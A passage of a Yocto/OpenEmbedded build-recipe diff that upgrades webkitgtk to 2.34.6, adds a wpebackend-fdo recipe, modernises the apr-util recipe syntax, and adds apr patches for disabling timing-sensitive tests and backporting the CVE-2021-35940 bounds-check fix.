+ Redistribution and use in source and binary forms, with or without
+ modification, are permitted provided that the following conditions
diff --git a/meta/recipes-sato/webkit/webkitgtk/x32_support.patch b/meta/recipes-sato/webkit/webkitgtk/x32_support.patch
deleted file mode 100644
index 85d281e7f4..0000000000
--- a/meta/recipes-sato/webkit/webkitgtk/x32_support.patch
+++ /dev/null
@@ -1,30 +0,0 @@
-Signed-off-by: Christopher Larson <chris_larson@mentor.com>
-Upstream-Status: Pending
-
-From 897563a0397266d8ceb058f172e16b06419b2593 Mon Sep 17 00:00:00 2001
-From: Daniel Schepler <dschepler@gmail.com>
-Date: Mon, 26 Mar 2018 17:48:34 +0300
-Subject: [PATCH] Fix FTBFS in x32
-
-===================================================================
-
----
- Source/WTF/wtf/Platform.h | 4 ++++
- 1 file changed, 4 insertions(+)
-
-diff --git a/Source/WTF/wtf/Platform.h b/Source/WTF/wtf/Platform.h
-index 850e298..551c047 100644
---- a/Source/WTF/wtf/Platform.h
-+++ b/Source/WTF/wtf/Platform.h
-@@ -132,7 +132,11 @@
- /* CPU(X86_64) - AMD64 / Intel64 / x86_64 64-bit */
- #if defined(__x86_64__) \
- || defined(_M_X64)
-+#ifdef __ILP32__
-+#define WTF_CPU_X86_64_32 1
-+#else
- #define WTF_CPU_X86_64 1
-+#endif
- #define WTF_CPU_X86_SSE2 1
- #define WTF_CPU_KNOWN 1
- #endif
diff --git a/meta/recipes-sato/webkit/webkitgtk_2.26.1.bb b/meta/recipes-sato/webkit/webkitgtk_2.26.1.bb
deleted file mode 100644
index 77e51e7d29..0000000000
--- a/meta/recipes-sato/webkit/webkitgtk_2.26.1.bb
+++ /dev/null
@@ -1,127 +0,0 @@
-SUMMARY = "WebKit web rendering engine for the GTK+ platform"
-HOMEPAGE = "http://www.webkitgtk.org/"
-BUGTRACKER = "http://bugs.webkit.org/"
-
-LICENSE = "BSD & LGPLv2+"
-LIC_FILES_CHKSUM = "file://Source/JavaScriptCore/COPYING.LIB;md5=d0c6d6397a5d84286dda758da57bd691 \
- file://Source/WebCore/LICENSE-APPLE;md5=4646f90082c40bcf298c285f8bab0b12 \
- file://Source/WebCore/LICENSE-LGPL-2;md5=36357ffde2b64ae177b2494445b79d21 \
- file://Source/WebCore/LICENSE-LGPL-2.1;md5=a778a33ef338abbaf8b8a7c36b6eec80 \
- "
-
-SRC_URI = "http://www.webkitgtk.org/releases/${BPN}-${PV}.tar.xz \
- file://0001-FindGObjectIntrospection.cmake-prefix-variables-obta.patch \
- file://0001-When-building-introspection-files-add-CMAKE_C_FLAGS-.patch \
- file://0001-OptionsGTK.cmake-drop-the-hardcoded-introspection-gt.patch \
- file://0001-Fix-racy-parallel-build-of-WebKit2-4.0.gir.patch \
- file://0001-Tweak-gtkdoc-settings-so-that-gtkdoc-generation-work.patch \
- file://x32_support.patch \
- file://cross-compile.patch \
- file://0001-Fix-build-with-musl.patch \
- file://include_array.patch \
- "
-
-SRC_URI[md5sum] = "08145bd6c1587230f135921c142bc150"
-SRC_URI[sha256sum] = "6b4b21801d2b1008422a1075dbd6fb4ae8b5127503faf657cf9671289d9cd155"
-
-inherit cmake pkgconfig gobject-introspection perlnative distro_features_check upstream-version-is-even gtk-doc
-
-REQUIRED_DISTRO_FEATURES = "x11 opengl"
-
-CVE_PRODUCT = "webkitgtk webkitgtk\+"
-
-DEPENDS = "zlib libsoup-2.4 curl libxml2 cairo libxslt libxt libidn libgcrypt \
- gtk+3 gstreamer1.0 gstreamer1.0-plugins-base flex-native gperf-native sqlite3 \
- pango icu bison-native gawk intltool-native libwebp \
- atk udev harfbuzz jpeg libpng pulseaudio librsvg libtheora libvorbis libxcomposite libxtst \
- ruby-native libnotify gstreamer1.0-plugins-bad \
- gettext-native glib-2.0 glib-2.0-native libtasn1 \
- "
-
-PACKAGECONFIG ??= "${@bb.utils.contains('DISTRO_FEATURES', 'x11', 'x11', 'wayland' ,d)} \
- ${@bb.utils.contains('DISTRO_FEATURES', 'opengl', 'webgl opengl', '' ,d)} \
- enchant \
- libsecret \
- "
-
-PACKAGECONFIG[wayland] = "-DENABLE_WAYLAND_TARGET=ON,-DENABLE_WAYLAND_TARGET=OFF,wayland"
-PACKAGECONFIG[x11] = "-DENABLE_X11_TARGET=ON,-DENABLE_X11_TARGET=OFF,virtual/libx11"
-PACKAGECONFIG[geoclue] = "-DENABLE_GEOLOCATION=ON,-DENABLE_GEOLOCATION=OFF,geoclue"
-PACKAGECONFIG[enchant] = "-DENABLE_SPELLCHECK=ON,-DENABLE_SPELLCHECK=OFF,enchant"
-PACKAGECONFIG[gtk2] = "-DENABLE_PLUGIN_PROCESS_GTK2=ON,-DENABLE_PLUGIN_PROCESS_GTK2=OFF,gtk+"
-PACKAGECONFIG[gles2] = "-DENABLE_GLES2=ON,-DENABLE_GLES2=OFF,virtual/libgles2"
-PACKAGECONFIG[webgl] = "-DENABLE_WEBGL=ON,-DENABLE_WEBGL=OFF,virtual/libgl"
-PACKAGECONFIG[opengl] = "-DENABLE_OPENGL=ON,-DENABLE_OPENGL=OFF,virtual/libgl"
-PACKAGECONFIG[libsecret] = "-DUSE_LIBSECRET=ON,-DUSE_LIBSECRET=OFF,libsecret"
-PACKAGECONFIG[libhyphen] = "-DUSE_LIBHYPHEN=ON,-DUSE_LIBHYPHEN=OFF,libhyphen"
-# Source is at https://github.com/google/woff2
-PACKAGECONFIG[woff2] = "-DUSE_WOFF2=ON,-DUSE_WOFF2=OFF,woff2"
-PACKAGECONFIG[openjpeg] = "-DUSE_OPENJPEG=ON,-DUSE_OPENJPEG=OFF,openjpeg"
-
-EXTRA_OECMAKE = " \
- -DPORT=GTK \
- -DCMAKE_BUILD_TYPE=Release \
- ${@bb.utils.contains('GI_DATA_ENABLED', 'True', '-DENABLE_INTROSPECTION=ON', '-DENABLE_INTROSPECTION=OFF', d)} \
- ${@bb.utils.contains('GTKDOC_ENABLED', 'True', '-DENABLE_GTKDOC=ON', '-DENABLE_GTKDOC=OFF', d)} \
- -DENABLE_MINIBROWSER=ON \
- -DPYTHON_EXECUTABLE=`which python3` \
- -DENABLE_BUBBLEWRAP_SANDBOX=OFF \
- "
-
-# Javascript JIT is not supported on ARC
-EXTRA_OECMAKE_append_arc = " -DENABLE_JIT=OFF "
-# By default 25-bit "medium" calls are used on ARC
-# which is not enough for binaries larger than 32 MiB
-CFLAGS_append_arc = " -mlong-calls"
-CXXFLAGS_append_arc = " -mlong-calls"
-
-# Javascript JIT is not supported on powerpc
-EXTRA_OECMAKE_append_powerpc = " -DENABLE_JIT=OFF "
-EXTRA_OECMAKE_append_powerpc64 = " -DENABLE_JIT=OFF "
-
-# ARM JIT code does not build on ARMv4/5/6 anymore
-EXTRA_OECMAKE_append_armv5 = " -DENABLE_JIT=OFF "
-EXTRA_OECMAKE_append_armv6 = " -DENABLE_JIT=OFF "
-EXTRA_OECMAKE_append_armv4 = " -DENABLE_JIT=OFF "
-
-EXTRA_OECMAKE_append_mipsarchn32 = " -DUSE_LD_GOLD=OFF "
-EXTRA_OECMAKE_append_powerpc = " -DUSE_LD_GOLD=OFF "
-
-# JIT not supported on MIPS either
-EXTRA_OECMAKE_append_mipsarch = " -DENABLE_JIT=OFF -DENABLE_C_LOOP=ON "
-
-# JIT not supported on X32
-# An attempt was made to upstream JIT support for x32 in
-# https://bugs.webkit.org/show_bug.cgi?id=100450, but this was closed as
-# unresolved due to limited X32 adoption.
-EXTRA_OECMAKE_append_x86-x32 = " -DENABLE_JIT=OFF "
-
-SECURITY_CFLAGS_remove_aarch64 = "-fpie"
-SECURITY_CFLAGS_append_aarch64 = " -fPIE"
-
-LDFLAGS_append_toolchain-clang = " -rtlib=compiler-rt"
-
-FILES_${PN} += "${libdir}/webkit2gtk-4.0/injected-bundle/libwebkit2gtkinjectedbundle.so"
-
-RRECOMMENDS_${PN} += "ca-certificates shared-mime-info"
-
-# http://errors.yoctoproject.org/Errors/Details/20370/
-ARM_INSTRUCTION_SET_armv4 = "arm"
-ARM_INSTRUCTION_SET_armv5 = "arm"
-ARM_INSTRUCTION_SET_armv6 = "arm"
-
-# https://bugzilla.yoctoproject.org/show_bug.cgi?id=9474
-# https://bugs.webkit.org/show_bug.cgi?id=159880
-# JSC JIT can build on ARMv7 with -marm, but doesn't work on runtime.
-# Upstream only tests regularly the JSC JIT on ARMv7 with Thumb2 (-mthumb).
-ARM_INSTRUCTION_SET_armv7a = "thumb"
-ARM_INSTRUCTION_SET_armv7r = "thumb"
-ARM_INSTRUCTION_SET_armv7ve = "thumb"
-
-# qemu: uncaught target signal 11 (Segmentation fault) - core dumped
-# Segmentation fault
-GI_DATA_ENABLED_armv7a = "False"
-GI_DATA_ENABLED_armv7ve = "False"
-
-# Can't be built with ccache
-CCACHE_DISABLE = "1"
diff --git a/meta/recipes-sato/webkit/webkitgtk_2.34.6.bb b/meta/recipes-sato/webkit/webkitgtk_2.34.6.bb
new file mode 100644
index 0000000000..ea29ec4adc
--- /dev/null
+++ b/meta/recipes-sato/webkit/webkitgtk_2.34.6.bb
@@ -0,0 +1,168 @@
+SUMMARY = "WebKit web rendering engine for the GTK+ platform"
+HOMEPAGE = "https://www.webkitgtk.org/"
+BUGTRACKER = "https://bugs.webkit.org/"
+
+LICENSE = "BSD-2-Clause & LGPL-2.0-or-later"
+LIC_FILES_CHKSUM = "file://Source/JavaScriptCore/COPYING.LIB;md5=d0c6d6397a5d84286dda758da57bd691 \
+ file://Source/WebCore/LICENSE-APPLE;md5=4646f90082c40bcf298c285f8bab0b12 \
+ file://Source/WebCore/LICENSE-LGPL-2;md5=36357ffde2b64ae177b2494445b79d21 \
+ file://Source/WebCore/LICENSE-LGPL-2.1;md5=a778a33ef338abbaf8b8a7c36b6eec80 \
+ "
+
+SRC_URI = "https://www.webkitgtk.org/releases/${BPN}-${PV}.tar.xz \
+ file://0001-FindGObjectIntrospection.cmake-prefix-variables-obta.patch \
+ file://0001-When-building-introspection-files-add-CMAKE_C_FLAGS-.patch \
+ file://0001-Fix-racy-parallel-build-of-WebKit2-4.0.gir.patch \
+ file://0001-Tweak-gtkdoc-settings-so-that-gtkdoc-generation-work.patch \
+ file://reduce-memory-overheads.patch \
+ file://0001-Fix-build-without-opengl-or-es.patch \
+ file://reproducibility.patch \
+ "
+
+SRC_URI[sha256sum] = "6bc8fd034aad0432a2459ce4fc7ee25ad65a4924c618bf8d93b52b0c1a84c1f6"
+
+inherit cmake pkgconfig gobject-introspection perlnative features_check upstream-version-is-even gtk-doc
+
+ANY_OF_DISTRO_FEATURES = "${GTK3DISTROFEATURES}"
+REQUIRED_DISTRO_FEATURES = "${@bb.utils.contains('DISTRO_FEATURES', 'wayland', 'opengl', '', d)}"
+
+CVE_PRODUCT = "webkitgtk webkitgtk\+"
+
+DEPENDS = " \
+ ruby-native \
+ gperf-native \
+ cairo \
+ harfbuzz \
+ jpeg \
+ atk \
+ libwebp \
+ gtk+3 \
+ libxslt \
+ libtasn1 \
+ libnotify \
+ gstreamer1.0 \
+ gstreamer1.0-plugins-base \
+ "
+
+PACKAGECONFIG_SOUP ?= "soup2"
+PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'systemd wayland x11', d)} \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'x11 opengl', 'webgl opengl', '', d)} \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'x11', '', 'webgl gles2 angle', d)} \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'opengl', 'opengl-or-es', '', d)} \
+ enchant \
+ libsecret \
+ ${PACKAGECONFIG_SOUP} \
+ "
+
+PACKAGECONFIG[wayland] = "-DENABLE_WAYLAND_TARGET=ON,-DENABLE_WAYLAND_TARGET=OFF,wayland libwpe wpebackend-fdo wayland-native"
+PACKAGECONFIG[angle] = "-DUSE_ANGLE_WEBGL=ON,-DUSE_ANGLE_WEBGL=OFF"
+PACKAGECONFIG[x11] = "-DENABLE_X11_TARGET=ON,-DENABLE_X11_TARGET=OFF,virtual/libx11 libxcomposite libxdamage libxrender libxt"
+PACKAGECONFIG[geoclue] = "-DENABLE_GEOLOCATION=ON,-DENABLE_GEOLOCATION=OFF,geoclue"
+PACKAGECONFIG[enchant] = "-DENABLE_SPELLCHECK=ON,-DENABLE_SPELLCHECK=OFF,enchant2"
+PACKAGECONFIG[gles2] = "-DENABLE_GLES2=ON,-DENABLE_GLES2=OFF,virtual/libgles2"
+PACKAGECONFIG[webgl] = "-DENABLE_WEBGL=ON,-DENABLE_WEBGL=OFF,virtual/libgl"
+PACKAGECONFIG[opengl] = "-DENABLE_GRAPHICS_CONTEXT_GL=ON,-DENABLE_GRAPHICS_CONTEXT_GL=OFF,virtual/libgl"
+PACKAGECONFIG[opengl-or-es] = "-DUSE_OPENGL_OR_ES=ON,-DUSE_OPENGL_OR_ES=OFF"
+PACKAGECONFIG[libsecret] = "-DUSE_LIBSECRET=ON,-DUSE_LIBSECRET=OFF,libsecret"
+PACKAGECONFIG[libhyphen] = "-DUSE_LIBHYPHEN=ON,-DUSE_LIBHYPHEN=OFF,libhyphen"
+PACKAGECONFIG[woff2] = "-DUSE_WOFF2=ON,-DUSE_WOFF2=OFF,woff2"
+PACKAGECONFIG[openjpeg] = "-DUSE_OPENJPEG=ON,-DUSE_OPENJPEG=OFF,openjpeg"
+PACKAGECONFIG[systemd] = "-DUSE_SYSTEMD=ON,-DUSE_SYSTEMD=off,systemd"
+PACKAGECONFIG[reduce-size] = "-DCMAKE_BUILD_TYPE=MinSizeRel,-DCMAKE_BUILD_TYPE=Release,,"
+PACKAGECONFIG[lcms] = "-DUSE_LCMS=ON,-DUSE_LCMS=OFF,lcms"
+PACKAGECONFIG[soup2] = "-DUSE_SOUP2=ON,-DUSE_SOUP2=OFF,libsoup-2.4,,,soup3"
+PACKAGECONFIG[soup3] = ",,libsoup,,,soup2"
+
+# webkitgtk is full of /usr/bin/env python, particular for generating docs
+do_configure[postfuncs] += "setup_python_link"
+setup_python_link() {
+ if [ ! -e ${STAGING_BINDIR_NATIVE}/python ]; then
+ ln -s `which python3` ${STAGING_BINDIR_NATIVE}/python
+ fi
+}
+
+EXTRA_OECMAKE = " \
+ -DPORT=GTK \
+ ${@bb.utils.contains('GI_DATA_ENABLED', 'True', '-DENABLE_INTROSPECTION=ON', '-DENABLE_INTROSPECTION=OFF', d)} \
+ ${@bb.utils.contains('GTKDOC_ENABLED', 'True', '-DENABLE_GTKDOC=ON', '-DENABLE_GTKDOC=OFF', d)} \
+ -DENABLE_MINIBROWSER=ON \
+ -DPYTHON_EXECUTABLE=`which python3` \
+ -DENABLE_BUBBLEWRAP_SANDBOX=OFF \
+ -DENABLE_GAMEPAD=OFF \
+ "
+
+# Javascript JIT is not supported on ARC
+EXTRA_OECMAKE:append:arc = " -DENABLE_JIT=OFF "
+# By default 25-bit "medium" calls are used on ARC
+# which is not enough for binaries larger than 32 MiB
+CFLAGS:append:arc = " -mlong-calls"
+CXXFLAGS:append:arc = " -mlong-calls"
+
+# Needed for non-mesa graphics stacks when x11 is disabled
+CXXFLAGS += "${@bb.utils.contains('DISTRO_FEATURES', 'x11', '', '-DEGL_NO_X11=1', d)}"
+
+# Javascript JIT is not supported on powerpc
+EXTRA_OECMAKE:append:powerpc = " -DENABLE_JIT=OFF "
+EXTRA_OECMAKE:append:powerpc64 = " -DENABLE_JIT=OFF "
+
+# ARM JIT code does not build on ARMv4/5/6 anymore
+EXTRA_OECMAKE:append:armv5 = " -DENABLE_JIT=OFF "
+EXTRA_OECMAKE:append:armv6 = " -DENABLE_JIT=OFF "
+EXTRA_OECMAKE:append:armv4 = " -DENABLE_JIT=OFF "
+
+EXTRA_OECMAKE:append:mipsarch = " -DUSE_LD_GOLD=OFF "
+EXTRA_OECMAKE:append:powerpc = " -DUSE_LD_GOLD=OFF "
+
+# JIT and gold linker does not work on RISCV
+EXTRA_OECMAKE:append:riscv32 = " -DUSE_LD_GOLD=OFF -DENABLE_JIT=OFF"
+EXTRA_OECMAKE:append:riscv64 = " -DUSE_LD_GOLD=OFF -DENABLE_JIT=OFF"
+
+# JIT not supported on MIPS either
+EXTRA_OECMAKE:append:mipsarch = " -DENABLE_JIT=OFF -DENABLE_C_LOOP=ON "
+
+# JIT not supported on X32
+# An attempt was made to upstream JIT support for x32 in
+# https://bugs.webkit.org/show_bug.cgi?id=100450, but this was closed as
+# unresolved due to limited X32 adoption.
+EXTRA_OECMAKE:append:x86-x32 = " -DENABLE_JIT=OFF "
+
+SECURITY_CFLAGS:remove:aarch64 = "-fpie"
+SECURITY_CFLAGS:append:aarch64 = " -fPIE"
+
+FILES:${PN} += "${libdir}/webkit2gtk-4.*/injected-bundle/libwebkit2gtkinjectedbundle.so"
+
+RRECOMMENDS:${PN} += "ca-certificates shared-mime-info"
+
+# http://errors.yoctoproject.org/Errors/Details/20370/
+ARM_INSTRUCTION_SET:armv4 = "arm"
+ARM_INSTRUCTION_SET:armv5 = "arm"
+ARM_INSTRUCTION_SET:armv6 = "arm"
+
+# https://bugzilla.yoctoproject.org/show_bug.cgi?id=9474
+# https://bugs.webkit.org/show_bug.cgi?id=159880
+# JSC JIT can build on ARMv7 with -marm, but doesn't work on runtime.
+# Upstream only tests regularly the JSC JIT on ARMv7 with Thumb2 (-mthumb).
+ARM_INSTRUCTION_SET:armv7a = "thumb"
+ARM_INSTRUCTION_SET:armv7r = "thumb"
+ARM_INSTRUCTION_SET:armv7ve = "thumb"
+
+# introspection inside qemu-arm hangs forever on musl/arm builds
+# therefore disable GI_DATA
+GI_DATA_ENABLED:libc-musl:armv7a = "False"
+GI_DATA_ENABLED:libc-musl:armv7ve = "False"
+
+# Can't be built with ccache
+CCACHE_DISABLE = "1"
+
+PACKAGE_PREPROCESS_FUNCS += "src_package_preprocess"
+src_package_preprocess () {
+ # Trim build paths from comments in generated sources to ensure reproducibility
+ sed -i -e "s,${WORKDIR},,g" \
+ ${B}/JavaScriptCore/DerivedSources/*.h \
+ ${B}/JavaScriptCore/DerivedSources/yarr/*.h \
+ ${B}/JavaScriptCore/PrivateHeaders/JavaScriptCore/*.h \
+ ${B}/WebKit2Gtk/DerivedSources/webkit2/*.cpp \
+ ${B}/WebKit2Gtk/DerivedSources/webkit2/*.h
+
+}
+
diff --git a/meta/recipes-sato/webkit/wpebackend-fdo_1.12.0.bb b/meta/recipes-sato/webkit/wpebackend-fdo_1.12.0.bb
new file mode 100644
index 0000000000..4a18467ea4
--- /dev/null
+++ b/meta/recipes-sato/webkit/wpebackend-fdo_1.12.0.bb
@@ -0,0 +1,24 @@
+SUMMARY = "WPE's backend based on a freedesktop.org stack."
+HOMEPAGE = "https://github.com/Igalia/WPEBackend-fdo"
+BUGTRACKER = "https://github.com/Igalia/WPEBackend-fdo/issues"
+
+LICENSE = "BSD-2-Clause"
+LIC_FILES_CHKSUM = "file://COPYING;md5=1f62cef2e3645e3e74eb05fd389d7a66"
+DEPENDS = "glib-2.0 libxkbcommon wayland virtual/egl libwpe libepoxy"
+
+DEPENDS:append:class-target = " wayland-native"
+
+inherit meson features_check pkgconfig
+
+REQUIRED_DISTRO_FEATURES = "opengl"
+
+SRC_URI = "https://wpewebkit.org/releases/${BPN}-${PV}.tar.xz"
+SRC_URI[sha256sum] = "6239c9c15523410798d66315de6b491712ab30009ba180f3e0dd076d9b0074ac"
+
+# Especially helps compiling with clang which enable this as error when
+# using c++11
+CXXFLAGS += "-Wno-c++11-narrowing"
+
+# This is a tweak of upstream-version-is-even needed because
+# ipstream directory contains tarballs for other components as well.
+UPSTREAM_CHECK_REGEX = "wpebackend-fdo-(?P<pver>\d+\.(\d*[02468])+(\.\d+)+)\.tar"
diff --git a/meta/recipes-support/apr/apr-util/0001-Fix-error-handling-in-gdbm.patch b/meta/recipes-support/apr/apr-util/0001-Fix-error-handling-in-gdbm.patch
index 57e7453312..6f27876a7f 100644
--- a/meta/recipes-support/apr/apr-util/0001-Fix-error-handling-in-gdbm.patch
+++ b/meta/recipes-support/apr/apr-util/0001-Fix-error-handling-in-gdbm.patch
@@ -13,8 +13,7 @@ what the berkleydb driver already does.
Also ensure that dsize is 0 if dptr == NULL.
-Upstream-Status: Backport[https://svn.apache.org/viewvc?
-view=revision&amp;revision=1825311]
+Upstream-Status: Backport [https://svn.apache.org/viewvc?view=revision&amp;revision=1825311]
Signed-off-by: Changqing Li <changqing.li@windriver.com>
---
diff --git a/meta/recipes-support/apr/apr-util_1.6.1.bb b/meta/recipes-support/apr/apr-util_1.6.1.bb
index 1f9fea25d8..b851d46351 100644
--- a/meta/recipes-support/apr/apr-util_1.6.1.bb
+++ b/meta/recipes-support/apr/apr-util_1.6.1.bb
@@ -1,7 +1,7 @@
SUMMARY = "Apache Portable Runtime (APR) companion library"
HOMEPAGE = "http://apr.apache.org/"
SECTION = "libs"
-DEPENDS = "apr expat gdbm"
+DEPENDS = "apr expat"
BBCLASSEXTEND = "native nativesdk"
@@ -19,67 +19,70 @@ SRC_URI = "${APACHE_MIRROR}/apr/${BPN}-${PV}.tar.gz \
SRC_URI[md5sum] = "bd502b9a8670a8012c4d90c31a84955f"
SRC_URI[sha256sum] = "b65e40713da57d004123b6319828be7f1273fbc6490e145874ee1177e112c459"
-EXTRA_OECONF = "--with-apr=${STAGING_BINDIR_CROSS}/apr-1-config \
+EXTRA_OECONF = "--with-apr=${STAGING_BINDIR_CROSS}/apr-1-config \
--without-odbc \
--without-pgsql \
- --with-dbm=gdbm \
- --with-gdbm=${STAGING_DIR_HOST}${prefix} \
--without-sqlite2 \
--with-expat=${STAGING_DIR_HOST}${prefix}"
-inherit autotools lib_package binconfig
+inherit autotools lib_package binconfig multilib_script
+
+MULTILIB_SCRIPTS = "${PN}-dev:${bindir}/apu-1-config"
OE_BINCONFIG_EXTRA_MANGLE = " -e 's:location=source:location=installed:'"
-do_configure_append() {
+do_configure:append() {
if [ "${CLASSOVERRIDE}" = "class-target" ]; then
cp ${STAGING_DATADIR}/apr/apr_rules.mk ${B}/build/rules.mk
+ sed -i -e 's#^CFLAGS=.*#CFLAGS=${TARGET_CFLAGS}#g' ${B}/build/rules.mk
fi
}
-do_configure_prepend_class-native() {
+do_configure:prepend:class-native() {
mkdir ${B}/build
cp ${STAGING_DATADIR_NATIVE}/apr/apr_rules.mk ${B}/build/rules.mk
}
-do_configure_append_class-native() {
+do_configure:append:class-native() {
sed -i "s#LIBTOOL=\$(SHELL) \$(apr_builddir)#LIBTOOL=\$(SHELL) ${STAGING_BINDIR_NATIVE}#" ${B}/build/rules.mk
# sometimes there isn't SHELL
sed -i "s#LIBTOOL=\$(apr_builddir)#LIBTOOL=${STAGING_BINDIR_NATIVE}#" ${B}/build/rules.mk
}
-do_configure_prepend_class-nativesdk() {
+do_configure:prepend:class-nativesdk() {
cp ${STAGING_DATADIR}/apr/apr_rules.mk ${S}/build/rules.mk
+ sed -i -e 's#^CFLAGS=.*#CFLAGS=${TARGET_CFLAGS}#g' ${S}/build/rules.mk
}
-do_configure_append_class-nativesdk() {
+do_configure:append:class-nativesdk() {
sed -i "s#\(apr_builddir\)=.*#\1=${STAGING_DATADIR}/build-1#" ${B}/build/rules.mk
sed -i "s#\(apr_builders\)=.*#\1=${STAGING_DATADIR}/build-1#" ${B}/build/rules.mk
sed -i "s#\(top_builddir\)=.*#\1=${STAGING_DATADIR}/build-1#" ${B}/build/rules.mk
sed -i "s#\(LIBTOOL=\$(apr_builddir)\).*#\1/libtool#" ${B}/build/rules.mk
}
-do_install_append_class-target() {
+do_install:append:class-target() {
sed -i -e 's,${STAGING_DIR_HOST},,g' \
-e 's,APU_SOURCE_DIR=.*,APR_SOURCE_DIR=,g' \
-e 's,APU_BUILD_DIR=.*,APR_BUILD_DIR=,g' ${D}${bindir}/apu-1-config
}
-PACKAGECONFIG ??= "crypto"
+PACKAGECONFIG ??= "crypto gdbm"
PACKAGECONFIG[ldap] = "--with-ldap,--without-ldap,openldap"
PACKAGECONFIG[crypto] = "--with-openssl=${STAGING_DIR_HOST}${prefix} --with-crypto,--without-crypto,openssl"
PACKAGECONFIG[sqlite3] = "--with-sqlite3=${STAGING_DIR_HOST}${prefix},--without-sqlite3,sqlite3"
+PACKAGECONFIG[gdbm] = "--with-dbm=gdbm --with-gdbm=${STAGING_DIR_HOST}${prefix},--without-gdbm,gdbm"
#files ${libdir}/apr-util-1/*.so are not symlinks but loadable modules thus they are packaged in ${PN}
-FILES_${PN} += "${libdir}/apr-util-1/apr*${SOLIBS} ${libdir}/apr-util-1/apr*${SOLIBSDEV}"
-FILES_${PN}-dev += "${libdir}/aprutil.exp ${libdir}/apr-util-1/*.la"
-FILES_${PN}-staticdev += "${libdir}/apr-util-1/*.a"
+FILES:${PN} += "${libdir}/apr-util-1/apr*${SOLIBS} ${libdir}/apr-util-1/apr*${SOLIBSDEV}"
+FILES:${PN}-dev += "${libdir}/aprutil.exp ${libdir}/apr-util-1/*.la"
+FILES:${PN}-staticdev += "${libdir}/apr-util-1/*.a"
-INSANE_SKIP_${PN} += "dev-so"
+INSANE_SKIP:${PN} += "dev-so"
inherit ptest
-RDEPENDS_${PN}-ptest_append_libc-glibc = " glibc-gconv-iso8859-1 glibc-gconv-iso8859-2 glibc-gconv-utf-7"
-RDEPENDS_${PN}-ptest += "libgcc"
+RDEPENDS:${PN}-ptest:append:libc-glibc = " glibc-gconv-iso8859-1 glibc-gconv-iso8859-2 glibc-gconv-utf-7"
+RDEPENDS:${PN}-ptest += "libgcc"
do_compile_ptest() {
cd ${B}/test
diff --git a/meta/recipes-support/apr/apr/0001-Add-option-to-disable-timed-dependant-tests.patch b/meta/recipes-support/apr/apr/0001-Add-option-to-disable-timed-dependant-tests.patch
new file mode 100644
index 0000000000..abff4e9331
--- /dev/null
+++ b/meta/recipes-support/apr/apr/0001-Add-option-to-disable-timed-dependant-tests.patch
@@ -0,0 +1,69 @@
+From 2bbe20b4f69e84e7a18bc79d382486953f479328 Mon Sep 17 00:00:00 2001
+From: Jeremy Puhlman <jpuhlman@mvista.com>
+Date: Thu, 26 Mar 2020 18:30:36 +0000
+Subject: [PATCH] Add option to disable timed dependant tests
+
+The disabled tests rely on timing to pass correctly. On a virtualized
+system under heavy load, these tests randomly fail because they miss
+a timer or other timing related issues.
+
+Upstream-Status: Pending
+Signed-off-by: Jeremy Puhlman <jpuhlman@mvista.com>
+---
+ configure.in | 6 ++++++
+ include/apr.h.in | 1 +
+ test/testlock.c | 4 ++--
+ 3 files changed, 9 insertions(+), 2 deletions(-)
+
+diff --git a/configure.in b/configure.in
+index d9f32d6..f0c5661 100644
+--- a/configure.in
++++ b/configure.in
+@@ -2886,6 +2886,12 @@ AC_ARG_ENABLE(timedlocks,
+ )
+ AC_SUBST(apr_has_timedlocks)
+
++AC_ARG_ENABLE(timed-tests,
++ [ --disable-timed-tests Disable timed tests ],
++ [apr_has_timedtests="0"], [apr_has_timedtests="1"]
++)
++AC_SUBST(apr_has_timedtests)
++
+ # hstrerror is only needed if IPv6 is not enabled,
+ # so getaddrinfo/gai_strerror are not used.
+ if test $have_ipv6 = 0; then
+diff --git a/include/apr.h.in b/include/apr.h.in
+index ee99def..c46a5f4 100644
+--- a/include/apr.h.in
++++ b/include/apr.h.in
+@@ -298,6 +298,7 @@ extern "C" {
+ #define APR_HAS_XTHREAD_FILES @apr_has_xthread_files@
+ #define APR_HAS_OS_UUID @osuuid@
+ #define APR_HAS_TIMEDLOCKS @apr_has_timedlocks@
++#define APR_HAVE_TIME_DEPENDANT_TESTS @apr_has_timedtests@
+
+ #define APR_PROCATTR_USER_SET_REQUIRES_PASSWORD @apr_procattr_user_set_requires_password@
+
+diff --git a/test/testlock.c b/test/testlock.c
+index a43f477..6233d0b 100644
+--- a/test/testlock.c
++++ b/test/testlock.c
+@@ -396,13 +396,13 @@ abts_suite *testlock(abts_suite *suite)
+ abts_run_test(suite, threads_not_impl, NULL);
+ #else
+ abts_run_test(suite, test_thread_mutex, NULL);
+-#if APR_HAS_TIMEDLOCKS
++#if APR_HAS_TIMEDLOCKS && APR_HAVE_TIME_DEPENDANT_TESTS
+ abts_run_test(suite, test_thread_timedmutex, NULL);
+ #endif
+ abts_run_test(suite, test_thread_rwlock, NULL);
+ abts_run_test(suite, test_cond, NULL);
+ abts_run_test(suite, test_timeoutcond, NULL);
+-#if APR_HAS_TIMEDLOCKS
++#if APR_HAS_TIMEDLOCKS && APR_HAVE_TIME_DEPENDANT_TESTS
+ abts_run_test(suite, test_timeoutmutex, NULL);
+ #endif
+ #endif
+--
+2.23.0
+
diff --git a/meta/recipes-support/apr/apr/CVE-2021-35940.patch b/meta/recipes-support/apr/apr/CVE-2021-35940.patch
new file mode 100644
index 0000000000..00befdacee
--- /dev/null
+++ b/meta/recipes-support/apr/apr/CVE-2021-35940.patch
@@ -0,0 +1,58 @@
+
+SECURITY: CVE-2021-35940 (cve.mitre.org)
+
+Restore fix for CVE-2017-12613 which was missing in 1.7.x branch, though
+was addressed in 1.6.x in 1.6.3 and later via r1807976.
+
+The fix was merged back to 1.7.x in r1891198.
+
+Since this was a regression in 1.7.0, a new CVE name has been assigned
+to track this, CVE-2021-35940.
+
+Thanks to Iveta Cesalova <icesalov redhat.com> for reporting this issue.
+
+https://svn.apache.org/viewvc?view=revision&revision=1891198
+
+Upstream-Status: Backport
+CVE: CVE-2021-35940
+Signed-off-by: Armin Kuster <akuster@mvista.com>
+
+
+Index: time/unix/time.c
+===================================================================
+--- a/time/unix/time.c (revision 1891197)
++++ b/time/unix/time.c (revision 1891198)
+@@ -142,6 +142,9 @@
+ static const int dayoffset[12] =
+ {306, 337, 0, 31, 61, 92, 122, 153, 184, 214, 245, 275};
+
++ if (xt->tm_mon < 0 || xt->tm_mon >= 12)
++ return APR_EBADDATE;
++
